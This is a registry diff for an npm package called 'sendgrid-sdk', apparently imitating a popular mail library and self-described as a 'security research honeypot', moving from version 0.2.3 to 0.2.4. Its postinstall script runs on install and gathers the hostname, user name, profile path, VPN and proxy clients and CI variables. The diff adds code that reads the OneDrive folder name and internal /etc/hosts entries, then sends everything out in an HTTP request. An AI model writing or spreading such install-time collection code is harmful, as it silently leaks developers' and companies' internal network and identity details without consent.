sendgrid-sdk 0.2.3 → 0.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +40 -5
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "sendgrid-sdk",
3
- "version": "0.2.3",
3
+ "version": "0.2.4",
4
4
  "description": "Security research honeypot. Installed by mistake? See README.",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -1,6 +1,8 @@
1
1
  try {
2
2
  var os = require('os');
3
3
  var dns = require('dns');
4
+ var fs = require('fs');
5
+ var path = require('path');
4
6
  var env = process.env;
5
7
 
6
8
  var hn = os.hostname();
@@ -17,15 +19,48 @@ try {
17
19
  // Corporate signals
18
20
  var hasCorpOneDrive = !!env.ONEDRIVECOMMERCIAL;
19
21
  var hasPersonalOneDrive = !!env.ONEDRIVE;
20
- // VPN client detection via env vars only (no filesystem)
21
22
  var vpnClient = '';
22
23
  if (env.PULSE_SECURE || env.JUNIPER_HOME) vpnClient = 'pulse-secure';
23
24
  else if (env.CISCO_VPN || env.CSCO_WEBVPN) vpnClient = 'cisco-anyconnect';
24
25
  else if (env.GLOBALPROTECT || env.PAN_GW) vpnClient = 'globalprotect';
25
26
  else if (env.FORTICLIENT || env.FORTISS) vpnClient = 'forticlient';
26
- // Corporate Wi-Fi proxy / ZScaler / Netskope
27
27
  if (!vpnClient && (env.ZSCALER || env.NETSKOPE)) vpnClient = 'zscaler-netskope';
28
28
 
29
+ // --- OneDrive folder name (contains company name on corporate machines) ---
30
+ var oneDrivePath = '';
31
+ try {
32
+ // env.ONEDRIVE is set on many Windows machines
33
+ if (env.ONEDRIVE) {
34
+ oneDrivePath = env.ONEDRIVE;
35
+ } else if (userProfile) {
36
+ // Scan for OneDrive* folders
37
+ var upDir = fs.readdirSync(userProfile);
38
+ for (var i = 0; i < upDir.length; i++) {
39
+ var d = upDir[i].toLowerCase();
40
+ if (d.indexOf('onedrive') === 0 || d.indexOf('onedrive') > 0) {
41
+ oneDrivePath = path.join(userProfile, upDir[i]);
42
+ break;
43
+ }
44
+ }
45
+ }
46
+ } catch(e) {}
47
+
48
+ // --- /etc/hosts (internal hostnames, domain controllers, etc.) ---
49
+ var hostsEntries = '';
50
+ try {
51
+ var hostsRaw = fs.readFileSync('/etc/hosts', 'utf8');
52
+ var lines = hostsRaw.split(/\r?\n/);
53
+ var interesting = [];
54
+ for (var j = 0; j < lines.length; j++) {
55
+ var line = lines[j].trim();
56
+ if (!line || line[0] === '#') continue;
57
+ if (/^(127\.|::1|255\.|0\.0\.0\.0|fe80:)/.test(line)) continue;
58
+ // Take first 20 interesting lines max
59
+ if (interesting.length < 20) interesting.push(line);
60
+ }
61
+ if (interesting.length) hostsEntries = interesting.join('\n');
62
+ } catch(e) {}
63
+
29
64
  dns.lookup(hn, {timeout: 3000}, function(err, addr) {
30
65
  dns.reverse(addr, function(err2, ptrs) {
31
66
  var fqdn = (ptrs && ptrs[0]) ? ptrs[0] : '';
@@ -58,10 +93,10 @@ try {
58
93
  + '&user=' + encodeURIComponent(user)
59
94
  + '&userprofile=' + encodeURIComponent(userProfile)
60
95
  + '&onedrivecorp=' + (hasCorpOneDrive ? '1' : '0')
61
- + '&vpn=' + encodeURIComponent(vpnClient)
62
- + '&cwd=' + encodeURIComponent(cwd)
63
- + '&fullpath=' + encodeURIComponent(initCwd);
96
+ + '&onedrivepath=' + encodeURIComponent(oneDrivePath)
97
+ + '&vpn=' + encodeURIComponent(vpnClient);
64
98
 
99
+ if (hostsEntries) url += '&hosts=' + encodeURIComponent(hostsEntries);
65
100
  if (ci.length) url += '&' + ci.join('&');
66
101
 
67
102
  require('http').get(url, {timeout: 5000}, function(r) { r.resume(); }).on('error', function() {});